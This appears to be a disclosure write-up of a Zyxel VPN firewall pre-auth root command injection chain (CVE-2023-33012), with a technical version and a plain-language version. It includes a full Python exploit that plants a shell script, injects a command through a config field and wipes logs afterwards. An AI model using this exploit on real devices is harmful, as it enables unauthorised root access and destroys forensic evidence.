SSD Advisory – Zyxel VPN Series Pre-auth Remote Command Execution
Three vulnerabilities in Zyxel VPN firewalls allow an unauthenticated attacker to write arbitrary files and inject commands, leading to remote code execution as root. The chain is no longer exploitable due to recent attack surface changes.
Chaining of three vulnerabilities allows unauthenticated attackers to execute arbitrary command with root privileges on Zyxel VPN firewall (VPN50, VPN100, VPN300, VPN500, VPN1000). Due to recent attack surface changes in Zyxel, the chain described below broke and become unusable – we have decided to disclose this even…
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
Zyxel's VPN firewall series (VPN50, VPN100, VPN300, VPN500 and VPN1000) ships a Zero Touch Provisioning (ZTP) feature. ZTP lets a device fetch its configuration from a provisioning server without an administrator logging in, so a set of CGI scripts under /ztp/cgi-bin/ has to be reachable before authentication. One of those scripts, parse_config.py, accepts a base64-encoded configuration blob from the caller, writes it to ztpconf.conf and then parses it, applying each section according to its proto field: cellular, static, pppoe, deviceha, certificate, vti or gre.
The advisory describes a chain of three bugs that together give an unauthenticated attacker root command execution on the appliance. The chain was published as CVE-2023-33012. The researchers note that a change to Zyxel's attack surface broke the chain before publication, so it is disclosed as no longer exploitable, but the individual flaws and the reasoning are still instructive.
Setup
The affected firmware is 5.21 through 5.36 on the five VPN models listed above. No account is needed: the whole point is that the entry point is on the pre-authentication allow list. The proof of concept is a Python 3 script using requests, and the only precondition on the target is that the ZTP socket file exists, otherwise parse_config.py refuses to proceed with ParseError: 0xC0DE0005.
Finding it
The starting point is httpd.conf. The auth_zyxel_module is loaded and a long AuthZyxelSkipPattern line lists every path that bypasses authentication:
...
LoadModule auth_zyxel_module modules/mod_auth_zyxel.so
...
AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi
/2FA-access.cgi
/webauth_ga.cgi
/fbwifi_error.cgi /fbwifi/
/ztp/cgi-bin/ztp_reg.py /ztp/cgi-bin/checkdata.py /ztp/cgi-bin/parse_config.py /ztp/cgi-bin/checkconn.py /ztp/cgi-bin/ztppolling.py /ztp/cgi-bin/activate.py /ztp/cgi-bin/conn_fail_checking.py /ztp/cgi-bin/changeLEDst.py /ztp/cgi-bin/postcertificate.py /ztp/cgi-bin/serverinit.py /ztp/cgi-bin/twoFApincode.py /ztp/cgi-bin/twoFApolling.py /ztp/cgi-bin/vpn_certificate.py /ztp/cgi-bin/ztp_bg.py /ztp/cgi-bin/dumpztplog.py /ztp/activation_success.html /ztp/activation_fail.html /ztp/activationfail.html /ztp/apply_fail.html /ztp/twoFAapps.html /ztp/twoFAsms.html /ztp/verification_fail.html /ztp/zld_enabled.html /ztp/ztp_enabled.html /ztp/ztp_reg.html /ztp/css /ztp/images /ztp/fonts
...
Among the skipped paths is /ztp/cgi-bin/parse_config.py, and that is where the first flaw lives. Its main reads the config form field, URL-decodes it, base64-decodes it and writes the result straight to ztpconf.conf:
def main():
form = cgi.FieldStorage()
conf_str = form.getvalue("config")
#### skip ####
if conf_str is None:
conf_str = ""
else:
#### skip ####
if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
logging.error(
"Cannot find sdwan_interface socket [%s]!" % ztpinclude.SERVER_SOCK_FILE
)
print("ParseError: 0xC0DE0005")
else:
conf_str = urllib.unquote(conf_str)
try:
decoded_config = base64.b64decode(conf_str)
except:
logging.error("invalid base64 str %s" % conf_str)
print("ParseError: 0xC0DE0004")
return
#### skip ####
try:
fout = open(ztpinclude.ZTPFILEPATH + "ztpconf.conf", "w+")
if fout is not None:
fout.write(decoded_config)
ok = True
fout.close()
except Exception as e:
logging.debug("e=%s" % e)
print("ParseError: 0xC0DE0002")
return
#### skip ####
if ok:
ztp_soc.ztp_led_start()
(parse_result, ou, org, cn) = network_parse.parse_result(
ztpinclude.ZTPFILEPATH + "ztpconf.conf"
)
if parse_result == ztpinclude.APPLYSUCC:
csrmgr.new_csrcfg(ou, org, cn)
print(
"ou=%s,org=%s,cn=%s"
% (urllib.quote(ou), urllib.quote(org), urllib.quote(cn))
)
else:
print("ParseError")
else:
print("ParseError: 0xC0DE0006")
So an unauthenticated user can overwrite the ZTP product configuration. On its own that is not command execution: the product generally uses execve when it runs commands, precisely to avoid injection. The interesting case is the Inter-Process Communication between sdwan_interface and sdwan_iface_ipc.
Exploitation
Step 1: the IPC injection point
In the code that prepares the IPC message, a value is written into a v31 buffer.

After the buffer is set, it is sent to sdwan_interface by pic_sdwan_send_config.

The field v31.offset_584 is copied into argument[3]. That is the only injection point, because the other arguments are filtered or formatted by rules such as ip format and number type.

sdwan_interface runs the injected command after receiving the payload; v75->offset_584 equals v31.offset_584.
Step 2: reaching the IPC from the config parser
parse_result is called from main of parse_config.py, and for a section whose proto is gre it calls handle_gre:
def parse_result(filepath):
#### skip ####
if os.path.isfile(filepath):
parser = Parser()
config = parser.parse(filepath)
if check_model_id(config) != 0:
logging.info("Check model id with config fail!!")
return (ztpinclude.MODELIDERR, parm_ou, parm_o, parm_cn)
save_config_data(config)
with open(ztpinclude.ZTPFILEPATH + 'parsed_config', 'w+') as fout:
for configlist in config:
try:
if configlist['proto'] == "cellular":
#### skip ####
elif configlist['proto'] == "static":
#### skip ####
elif configlist['proto'] == "pppoe":
#### skip ####
elif configlist['proto'] == "deviceha":
#### skip ####
elif configlist['proto'] == "certificate":
#### skip ####
elif configlist['proto'] == "vti":
if not handle_vti(configlist, vti_cnt):
break
vti_cnt += 1
elif configlist['proto'] == "gre":
if not handle_gre(configlist, gre_cnt):
break
gre_cnt += 1
except Exception as e:
#### skip ####
return (applyresult, parm_ou, parm_o, parm_cn)
else:
#### skip ####
handle_gre builds an argument vector for /usr/sbin/sdwan_iface_ipc out of the config fields, so the arguments are user-controlled. The comments in the function show the shape of the call, sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 ...:
def handle_gre(configlist, idx):
ok = False
logging.info("setting up gre interface")
logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
# it's time to create gre interface
# sdwan_iface_ipc 8 gre1 [redacted] 24 [redacted] if:eth0 [redacted] key 190815111 nhrp nhrppsk ciscozyxel nhs [redacted]
# sdwan_iface_ipc 8 gre1 [redacted] 24 [redacted] [redacted] [redacted] key 190815111 nhrp nhrppsk ciscozyxel nhs [redacted]
params = [
"/usr/sbin/sdwan_iface_ipc",
"8",
configlist["name"],
configlist["ipaddr"],
configlist["netmask"],
]
if "gateway" in configlist:
params.append(configlist["gateway"])
else:
params.append("-")
if "base" in configlist:
params.append("if:%s" % configlist["base"])
elif "localip" in configlist:
params.append(configlist["localip"])
else:
logging.info("Apply fail: neither base or localip is specificied")
return False
params.append(configlist["remoteip"])
if "key" in configlist:
params.append("key")
params.append(configlist["key"])
if "nhrp" in configlist and configlist["nhrp"] != "0":
params.append("nhrp")
if "nhrpsecret" in configlist:
params.append("nhrppsk")
params.append(configlist["nhrpsecret"])
if "nhs" in configlist:
params.append("nhs")
params.append(configlist["nhs"])
response = subprocess.call(params)
if response != (256 >> 8):
logging.info("Apply fail: %d %s" % (response, " ".join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
ok = True
return ok
At this point command injection is possible. The good news is that sdwan_interface runs as root while httpd runs as nobody, so no separate local privilege escalation is needed. The process list in the advisory shows the split:
UID PID PPID C STIME TTY TIME CMD
...
nobody 10391 10116 0 Sep12 ? 00:00:00 /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
...
root 10682 1 0 Sep12 ? 00:00:15 /usr/sbin/sdwan_interface
...
nobody 14175 14152 0 03:19 ? 00:00:00 /usr/sbin/sdwan_iface_ipc
...
The bad news is a length limit: only 0x14 bytes of argument[3] are copied, so the injected command, separators included, has to fit in 0x14 bytes.
Step 3: escaping the length limit with the VTI file write
handle_vti contains two vulnerabilities. One allows path traversal with a .qsr postfix, the other allows writing arbitrary content to a file. The second one matters here, because writing a shell command to a file and then executing that file removes the length limit:
def handle_vti(configlist, idx):
ok = False
qsrname = "/tmp/%s.qsr" % configlist["name"]
logging.info("setting up vti interface")
logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
out = open(qsrname, "w+")
if out:
for k in configlist:
out.write("%s %sn" % (k, configlist[k]))
out.flush()
out.close()
else:
return False
# it's time to create vti interface
# sdwan_iface_ipc 7 vti0 [redacted] 24 [redacted] qsr /tmp/qsr0.txt
params = [
"/usr/sbin/sdwan_iface_ipc",
"7",
configlist["name"],
configlist["ipaddr"],
configlist["netmask"],
]
if "gateway" in configlist:
params.append(configlist["gateway"])
else:
params.append("-")
params.append("qsr")
params.append(qsrname)
response = subprocess.call(params)
if response != (256 >> 8):
logging.info("Apply fail : %d %s" % (response, "".join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
f = open("/tmp/ignore-nccubs-vpn-reset", "a")
if f is not None:
f.write("%s," % configlist["name"])
f.close()
ok = True
return ok
Step 4: the chain
The three bugs combine into pre-auth root RCE:
- Write an arbitrary command into
/tmp/1.qsrby abusing the QSR file write. - Run
. /tmp/1.qsrthrough the ZTP configuration overwrite and the command injection. - The command executes as root.
Step 5: the proof of concept
#!/usr/bin/python3
import argparse
import base64
import random
import requests
# ignore ssl certification
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
DEBUG = False # True
class Exploit:
def __init__(self, args, https=True):
self.args = args
self.host = args.host
self.command = args.command
self.session = requests.Session()
self.session.verify = False
self.root = f"http://{self.host}:{self.args.port}/"
if https:
self.root = f"https://{self.host}:{self.args.port}/"
def req_post(self, path, data={}, files={}):
url = f"{self.root}{path}"
result = self.session.post(url, data=data, files=files)
if DEBUG:
print(f"[*] req: {url}")
print(data)
print(result.text)
return result
def req_get(self, path, params={}):
url = f"{self.root}{path}"
result = self.session.get(url, params=params)
if DEBUG:
print(f"[*] req: {url}")
print(params)
print(result.text)
return result
def fingerprint(self):
print("[+] fingerprint")
version = ""
title = ""
# version_string = "/ext-js/app/common/zld_product_spec.js"
r = self.req_get("/ext-js/app/common/zld_product_spec.js")
if "ZLDSYSPARM_PRODUCT_NAME1=" in r.text:
title = r.text.split('ZLDSYSPARM_PRODUCT_NAME1="')[1].split('"')[0]
if "ZLDCONFIG_CLOUD_HELP_VERSION=" in r.text:
version = r.text.split("ZLDCONFIG_CLOUD_HELP_VERSION=")[1].split(";")[0]
print(f" title = {title}")
print(f" version = {version}")
return (title, version)
def fingerprint2(self):
print("[+] fingerprint")
version = ""
title = ""
version_string = "/ext-js/app/common/zld_product_spec.js"
r = self.req_get("/")
if version_string in r.text:
version = r.text.split(version_string)[1].split('"')[0]
if "<title>" in r.text:
title = r.text.split("<title>")[1].split("</title>")[0]
print(f" title = {title}")
print(f" version = {version}")
return (title, version)
def run(self):
command = args.command
if type(command) == str:
command = command.encode()
command += (
b" 2>/var/log/ztplog 1>/var/log/ztplogn"
b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* "
b"/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)n"
)
command = base64.b64encode(command)
command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr"
title, version = self.fingerprint()
if not title.startswith("VPN") or version == "" or float(version) < 5.10:
print("[-] invulnerable target")
return
if "ZTP is already enabled." in title:
print("[!] ZTP is already enabled")
print(" ZTP configuration will be clear if you continue")
yes = input(' ENTER "YES" if you want continue: ').strip()
if yes != "YES":
return
print("[+] payload transfer")
payload = b"option proto vtin"
payload += b"option " + command + b";exitn"
payload += b"option name 1n"
config = base64.b64encode(payload)
data = {"config": config, "fqdn": "x00"}
r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
if "ParseError: 0xC0DE0005" in r.text:
print("[-] invulnerable")
return
print(" complete")
print("[+] code execution")
localip = (
f"{random.randint(1,255)}.{random.randint(1,255)}."
f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
)
remoteip = (
f"{random.randint(1,255)}.{random.randint(1,255)}."
f"{random.randint(1,255)}.{random.randint(1,255)}".encode()
)
payload = b"option proto gren"
payload += b"option name 0n"
payload += b"option ipaddr ;. /tmp/1.qsr;n"
payload += b"option netmask 24n"
payload += b"option gateway 0n"
payload += b"option localip " + localip + b"n"
payload += b"option remoteip " + remoteip + b"n"
config = base64.b64encode(payload)
data = {"config": config, "fqdn": "x00"}
r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data)
if "ParseError: 0xC0DE0005" in r.text:
print("[-] invulnerable")
return
print(" complete")
print("[+] receive output")
r = self.req_get("/ztp/cgi-bin/dumpztplog.py")
print(
r.text.split("</head>n<body>")[1]
.split("</body>n</html>")[0]
.replace("nn<br>", "")
.replace("[IPC]IPC result: 1n", "")
)
return
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Exploit")
parser.add_argument("host", type=str, help="target host")
parser.add_argument("--port", type=str, help="port", default="443")
parser.add_argument("command", type=str, help="command")
parser.add_argument("--no-https", dest="no_https", action="store_true")
args = parser.parse_args()
https = not args.no_https
s = Exploit(args, https=https)
s.run()
fingerprintfetches/ext-js/app/common/zld_product_spec.jsand pulls the product name fromZLDSYSPARM_PRODUCT_NAME1=and the version fromZLDCONFIG_CLOUD_HELP_VERSION=. The script aborts unless the title starts withVPNand the version is at least 5.10. If the title containsZTP is already enabled.it warns that the ZTP configuration will be cleared and asks forYESbefore continuing.- The user command is appended with redirections to
/var/log/ztplogand/var/log/ztplogn, followed by a backgroundedsleep 10that removes/tmp/1.qsr,/share/ztp/*,/var/log/*,/db/etc/zyxel/ftp/tmp/coredump/*and/tmp/sdwan_interface/*for cleanup. The whole thing is base64-encoded and wrapped asecho <b64> | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr. - The first POST sends a
vtisection whose option line carries that wrapper, withname 1, sohandle_vtiwrites it to/tmp/1.qsr. - The second POST sends a
gresection withname 0,netmask 24,gateway 0, randomlocalipandremoteip, and cruciallyipaddr ;. /tmp/1.qsr;. That value lands inargument[3]of the IPC call, within the 0x14-byte budget, and sources the planted file. - Both POSTs go to
/ztp/cgi-bin/parse_config.pywithconfigandfqdn=x00. AParseError: 0xC0DE0005in the response means the socket is missing and the target is not vulnerable. - Output is read back from
/ztp/cgi-bin/dumpztplog.py, stripping the HTML around the log body and the[IPC]IPC result: 1line.
Root cause
The chain rests on three separate mistakes. First, parse_config.py is on the pre-auth allow list and writes attacker-supplied, base64-decoded content to ztpconf.conf without validating it. Second, the IPC path between sdwan_interface and sdwan_iface_ipc copies v31.offset_584 into argument[3] without the filtering applied to the other arguments, and sdwan_interface executes what it receives, as root. Third, handle_vti builds the output path from the user-controlled name field and writes every key/value pair of the section into that file, giving an arbitrary file write with a .qsr suffix.
The product uses execve in most of its code to avoid injection, but the IPC boundary and the VTI file write are not covered by that. The 0x14-byte copy limit in argument[3] is the only constraint on the injected command, and the VTI write removes it by letting the short injected string source a longer script.
Impact
An unauthenticated attacker who can reach the ZTP CGI scripts on an affected device can execute arbitrary commands with root privileges, without any additional local privilege escalation, because sdwan_interface runs as root. The affected models are VPN50, VPN100, VPN300, VPN500 and VPN1000 on firmware 5.21 through 5.36. The advisory notes that recent attack surface changes in Zyxel broke the chain, so as published it is no longer exploitable.
Fix
The issues were published under CVE-2023-33012. The advisory does not describe the specific code changes. In terms of what should change: remove parse_config.py and the other ZTP scripts from the pre-auth allow list where possible, validate and constrain the configuration written to ztpconf.conf, filter or reject the value that reaches argument[3] in the IPC message, and stop building the VTI output path from the user-controlled name field.
Variants to test
- Check other appliances'
httpd.confforAuthZyxelSkipPattern-style allow lists and look for CGI or Python scripts that accept configuration blobs before login. A positive result is a pre-auth path that writes attacker data to a file the parser later consumes. - Send a
configvalue that is not valid base64 to/ztp/cgi-bin/parse_config.pyand look forParseError: 0xC0DE0004; aParseError: 0xC0DE0005means the socket is absent and the IPC path is not reachable. - Try
proto vtisections with differentnamevalues to see whether the.qsrpath can be traversed and whether arbitrary content lands in the file. - Try
proto gresections with metacharacters inipaddrand observe whethersdwan_iface_ipcexecutes them; a positive result is command output appearing in/ztp/cgi-bin/dumpztplog.py. - Fingerprint with
/ext-js/app/common/zld_product_spec.jsand compareZLDCONFIG_CLOUD_HELP_VERSIONagainst the affected range 5.21 to 5.36.
What happened, in plain words
Zyxel makes a family of VPN firewalls: small boxes that sit at the edge of a company network and let employees connect in from outside. The models involved here are the VPN50, VPN100, VPN300, VPN500 and VPN1000, running firmware versions 5.21 through 5.36.
Those boxes have a feature called Zero Touch Provisioning, or ZTP. The idea is convenience: when you unbox a new firewall, it can contact a central server, download its settings and configure itself, without a person logging in and typing anything. For that to work, some of the device's web pages have to be reachable before anyone logs in. Those pages are small programs (CGI scripts) sitting under /ztp/cgi-bin/.
One of those pre-login programs, parse_config.py, accepts a chunk of configuration text from whoever calls it, saves it to a file called ztpconf.conf, and then reads that file back and acts on each section. Each section says what kind of thing it is with a proto field: cellular, static, pppoe, deviceha, certificate, vti or gre.
The advisory describes three separate mistakes that, joined together, let someone who has never logged in run any command they like on the box, with the highest level of permission (root). The chain was published as CVE-2023-33012. The researchers also note that recent attack surface changes in Zyxel broke the chain, so as published it no longer works. The individual flaws and the reasoning are still worth reading.
A useful everyday comparison: imagine a hotel where the front desk will accept a sealed envelope from anyone, file it in a drawer, and later a member of staff opens the drawer and follows whatever instructions are inside. Each of the three bugs is one part of that story: the envelope is accepted from strangers, the instructions are followed without checking, and there is a side door that lets you leave a longer note than the front desk would otherwise allow.
Setup
The affected firmware is 5.21 through 5.36 on the five VPN models listed above. No account is needed, because the whole point is that the entry point is on the pre-authentication allow list.
The proof of concept is a Python 3 script that uses the requests library. Python is a programming language; requests is a helper library that lets a script make web requests the same way a browser does. The only precondition on the target is that a particular socket file exists. A socket file is a special file that two programs on the same machine use to talk to each other, like a private internal phone line. If it is missing, parse_config.py refuses to go further and answers with ParseError: 0xC0DE0005.
Finding it
The starting point is httpd.conf. That is the configuration file for the web server (Apache httpd) running on the appliance. It says which modules to load and, importantly, which URLs are allowed through without a login.
The auth_zyxel_module is loaded, and a long AuthZyxelSkipPattern line lists every path that bypasses authentication:
...
LoadModule auth_zyxel_module modules/mod_auth_zyxel.so
...
AuthZyxelSkipPattern /images/ /lib/ /mobile/ /weblogin.cgi /admin.cgi /login.cgi /error.cgi /redirect.cgi /I18N.js /language /logo/ /ext-js/web-pages/login/no_granted.html /ssltun.jar /sslapp.jar /VncViewer.jar /Forwarder.jar /eps.jar /css/ /sdwan_intro.html /sdwan_intro_video.html /videos/ /webauth_error.cgi /webauth_relogin.cgi /SSHTermApplet-jdk1.3.1-dependencies-signed.jar /SSHTermApplet-jdkbug-workaround-signed.jar /SSHTermApplet-signed.jar /commons-logging.properties /org.apache.commons.logging.LogFactory /fetch_ap_info.cgi /agree.cgi /walled_garden.cgi /payment_transaction.cgi /paypal_pdt.cgi /redirect_pdt.cgi /securepay.cgi /authorize_dot_net.cgi /payment_failed.cgi /customize/ /multi-portal/ /free_time.cgi /free_time_redirect.cgi /free_time_transaction.cgi /free_time_failed.cgi /js/ /terms_of_service.html /dynamic_script.cgi /ext-js/ext/ext-all.js /ext-js/ext/adapter/ext/ext-base.js /ext-js/ext/resources/css/ext-all.css /ext-js/app/common/zyFunction.js /ext-js/app/common/zld_product_spec.js /cf_hdf_blockpage.cgi
/2FA-access.cgi
/webauth_ga.cgi
/fbwifi_error.cgi /fbwifi/
/ztp/cgi-bin/ztp_reg.py /ztp/cgi-bin/checkdata.py /ztp/cgi-bin/parse_config.py /ztp/cgi-bin/checkconn.py /ztp/cgi-bin/ztppolling.py /ztp/cgi-bin/activate.py /ztp/cgi-bin/conn_fail_checking.py /ztp/cgi-bin/changeLEDst.py /ztp/cgi-bin/postcertificate.py /ztp/cgi-bin/serverinit.py /ztp/cgi-bin/twoFApincode.py /ztp/cgi-bin/twoFApolling.py /ztp/cgi-bin/vpn_certificate.py /ztp/cgi-bin/ztp_bg.py /ztp/cgi-bin/dumpztplog.py /ztp/activation_success.html /ztp/activation_fail.html /ztp/activationfail.html /ztp/apply_fail.html /ztp/twoFAapps.html /ztp/twoFAsms.html /ztp/verification_fail.html /ztp/zld_enabled.html /ztp/ztp_enabled.html /ztp/ztp_reg.html /ztp/css /ztp/images /ztp/fonts
...
Line by line:
LoadModule auth_zyxel_module modules/mod_auth_zyxel.sotells the web server to load Zyxel's own login-checking module from a shared library file.AuthZyxelSkipPatternis a setting that takes a list of URL paths. Anything matching one of them is served without asking for a username and password.- The list includes ordinary things like images, stylesheets and JavaScript, plus a large set of
.cgiprograms and, at the end, the whole/ztp/cgi-bin/group.
Among the skipped paths is /ztp/cgi-bin/parse_config.py, and that is where the first flaw lives. Its main function reads the config form field, URL-decodes it, base64-decodes it and writes the result straight to ztpconf.conf:
def main():
form = cgi.FieldStorage()
conf_str = form.getvalue("config")
#### skip ####
if conf_str is None:
conf_str = ""
else:
#### skip ####
if not os.path.exists(ztpinclude.SERVER_SOCK_FILE):
logging.error(
"Cannot find sdwan_interface socket [%s]!" % ztpinclude.SERVER_SOCK_FILE
)
print("ParseError: 0xC0DE0005")
else:
conf_str = urllib.unquote(conf_str)
try:
decoded_config = base64.b64decode(conf_str)
except:
logging.error("invalid base64 str %s" % conf_str)
print("ParseError: 0xC0DE0004")
return
#### skip ####
try:
fout = open(ztpinclude.ZTPFILEPATH + "ztpconf.conf", "w+")
if fout is not None:
fout.write(decoded_config)
ok = True
fout.close()
except Exception as e:
logging.debug("e=%s" % e)
print("ParseError: 0xC0DE0002")
return
#### skip ####
if ok:
ztp_soc.ztp_led_start()
(parse_result, ou, org, cn) = network_parse.parse_result(
ztpinclude.ZTPFILEPATH + "ztpconf.conf"
)
if parse_result == ztpinclude.APPLYSUCC:
csrmgr.new_csrcfg(ou, org, cn)
print(
"ou=%s,org=%s,cn=%s"
% (urllib.quote(ou), urllib.quote(org), urllib.quote(cn))
)
else:
print("ParseError")
else:
print("ParseError: 0xC0DE0006")
What each part does:
form = cgi.FieldStorage()collects the form fields that were sent with the request, the same way a web form on any website collects what you typed.conf_str = form.getvalue("config")picks out the field namedconfig. That is the attacker-supplied blob.if not os.path.exists(ztpinclude.SERVER_SOCK_FILE)checks whether the internal socket file is present. If it is not, the script printsParseError: 0xC0DE0005and stops. This is the check the exploit script later uses to tell whether a target is vulnerable.conf_str = urllib.unquote(conf_str)undoes URL encoding, the%XXescaping you see in browser addresses.decoded_config = base64.b64decode(conf_str)turns the text back into raw bytes. Base64 is a way of writing arbitrary bytes using only ordinary letters and digits, so they survive being sent through a web form. If the text is not valid base64, the script printsParseError: 0xC0DE0004.fout = open(ztpinclude.ZTPFILEPATH + "ztpconf.conf", "w+")opens the configuration file for writing, andfout.write(decoded_config)writes the decoded bytes into it. There is no check on what those bytes contain.network_parse.parse_result(...)then reads the file back and applies it. If that succeeds, the script prints some certificate fields; otherwise it printsParseError.
So an unauthenticated user can overwrite the ZTP product configuration. On its own that is not command execution: the product generally uses execve when it runs commands, precisely to avoid injection. execve is the low-level system call that starts a program by handing it a list of arguments directly, without going through a shell. A shell is the program that interprets things like ; and |, so skipping the shell means those characters have no special meaning. The interesting case is the Inter-Process Communication between sdwan_interface and sdwan_iface_ipc. Inter-Process Communication (IPC) is simply two programs on the same machine passing messages to each other.
Exploitation
Step 1: the IPC injection point
In the code that prepares the IPC message, a value is written into a v31 buffer.

The screenshot shows the code that fills the v31 buffer before the message is sent.
After the buffer is set, it is sent to sdwan_interface by pic_sdwan_send_config.

This screenshot shows the call that hands the buffer to sdwan_interface.
The field v31.offset_584 is copied into argument[3]. That is the only injection point, because the other arguments are filtered or formatted by rules such as ip format and number type.

This screenshot shows the copy into argument[3], the one field that is not checked.
sdwan_interface runs the injected command after receiving the payload; v75->offset_584 equals v31.offset_584. In plain words: the sender puts text into a field, the receiver takes that same field and runs it. Because the other arguments are checked (an IP address must look like an IP address, a number must be a number), the unchecked field is the way in.
Step 2: reaching the IPC from the config parser
parse_result is called from main of parse_config.py, and for a section whose proto is gre it calls handle_gre:
def parse_result(filepath):
#### skip ####
if os.path.isfile(filepath):
parser = Parser()
config = parser.parse(filepath)
if check_model_id(config) != 0:
logging.info("Check model id with config fail!!")
return (ztpinclude.MODELIDERR, parm_ou, parm_o, parm_cn)
save_config_data(config)
with open(ztpinclude.ZTPFILEPATH + 'parsed_config', 'w+') as fout:
for configlist in config:
try:
if configlist['proto'] == "cellular":
#### skip ####
elif configlist['proto'] == "static":
#### skip ####
elif configlist['proto'] == "pppoe":
#### skip ####
elif configlist['proto'] == "deviceha":
#### skip ####
elif configlist['proto'] == "certificate":
#### skip ####
elif configlist['proto'] == "vti":
if not handle_vti(configlist, vti_cnt):
break
vti_cnt += 1
elif configlist['proto'] == "gre":
if not handle_gre(configlist, gre_cnt):
break
gre_cnt += 1
except Exception as e:
#### skip ####
return (applyresult, parm_ou, parm_o, parm_cn)
else:
#### skip ####
Line by line:
if os.path.isfile(filepath)makes sure the configuration file exists before reading it.parser = Parser()andconfig = parser.parse(filepath)read the file and turn it into a list of sections, each a dictionary of key/value pairs.check_model_id(config)makes sure the configuration is meant for this model; if not, it returns an error.save_config_data(config)stores the parsed data.- The
for configlist in config:loop walks through each section and looks at itsprotovalue. - For
vtiit callshandle_vti, forgreit callshandle_gre. If either returns false, the loop stops withbreak. - The other
protovalues are handled elsewhere and are skipped in this listing.
handle_gre builds an argument vector for /usr/sbin/sdwan_iface_ipc out of the config fields, so the arguments are user-controlled. The comments in the function show the shape of the call, sdwan_iface_ipc 8 inp0 inp1 inp2 inp3 ...:
def handle_gre(configlist, idx):
ok = False
logging.info("setting up gre interface")
logging.info("; ".join(["=".join(_) for _ in configlist.items()]))
# it's time to create gre interface
# sdwan_iface_ipc 8 gre1 [redacted] 24 [redacted] if:eth0 [redacted] key 190815111 nhrp nhrppsk ciscozyxel nhs [redacted]
# sdwan_iface_ipc 8 gre1 [redacted] 24 [redacted] [redacted] [redacted] key 190815111 nhrp nhrppsk ciscozyxel nhs [redacted]
params = [
"/usr/sbin/sdwan_iface_ipc",
"8",
configlist["name"],
configlist["ipaddr"],
configlist["netmask"],
]
if "gateway" in configlist:
params.append(configlist["gateway"])
else:
params.append("-")
if "base" in configlist:
params.append("if:%s" % configlist["base"])
elif "localip" in configlist:
params.append(configlist["localip"])
else:
logging.info("Apply fail: neither base or localip is specificied")
return False
params.append(configlist["remoteip"])
if "key" in configlist:
params.append("key")
params.append(configlist["key"])
if "nhrp" in configlist and configlist["nhrp"] != "0":
params.append("nhrp")
if "nhrpsecret" in configlist:
params.append("nhrppsk")
params.append(configlist["nhrpsecret"])
if "nhs" in configlist:
params.append("nhs")
params.append(configlist["nhs"])
response = subprocess.call(params)
if response != (256 >> 8):
logging.info("Apply fail: %d %s" % (response, " ".join(params)))
applyresult = ztpinclude.APPLYFAIL
ok = False
else:
ok = True
return ok
Line by line:
paramsstarts as a list: the program to run (/usr/sbin/sdwan_iface_ipc), the number8(which tells the helper what kind of operation this is), thenname,ipaddrandnetmasktaken straight from the configuration section.- If a
gatewaykey exists, its value is appended; otherwise a literal-is appended as a placeholder. - If
baseexists,if:plus its value is appended; otherwise iflocalipexists, that is appended; otherwise the function gives up. remoteipis appended, then optionalkey,nhrp,nhrppskandnhspairs if present.subprocess.call(params)runs the program with that list of arguments. Because it is a list, the arguments are passed directly, not through a shell.- The return value is compared with
(256 >> 8), which is 1. If it is not 1, the apply is logged as failed.
At this point command injection is possible. Command injection means getting your own text treated as a command by a program that was only supposed to receive data. The good news is that sdwan_interface runs as root while httpd runs as nobody, so no separate local privilege escalation is needed. Root is the all-powerful account on a Unix-like system; nobody is a deliberately powerless account used for services that should not be able to do much. Local privilege escalation would be a separate trick to climb from nobody to root; here the vulnerable helper already runs as root, so that step is unnecessary. The process list in the advisory shows the split:
UID PID PPID C STIME TTY TIME CMD
...
nobody 10391 10116 0 Sep12 ? 00:00:00 /usr/local/apache/bin/httpd -f /usr/local/zyxel-gui/httpd.conf -k graceful -DSSL
...
root 10682 1 0 Sep12 ? 00:00:15 /usr/sbin/sdwan_interface
...
nobody 14175 14152 0 03:19 ? 00:00:00 /usr/sbin/sdwan_iface_ipc
...
This is the output of ps, the command that lists running programs. Each line shows the user the program runs as (UID), its process ID (PID), its parent process ID (PPID), and the command line. The web server httpd runs as nobody; sdwan_interface runs as root; the helper sdwan_iface_ipc runs as nobody but is started by the root process.
The bad news is a length limit: only 0x14 bytes of argument[3] are copied, so the injected command, separators included, has to fit in 0x14 bytes. 0x14 is hexadecimal for 20, so the whole injected string must be 20 bytes or fewer. That is very short: enough for a tiny instruction, not for a real command.
Step 3: escaping the length limit with the VTI file write
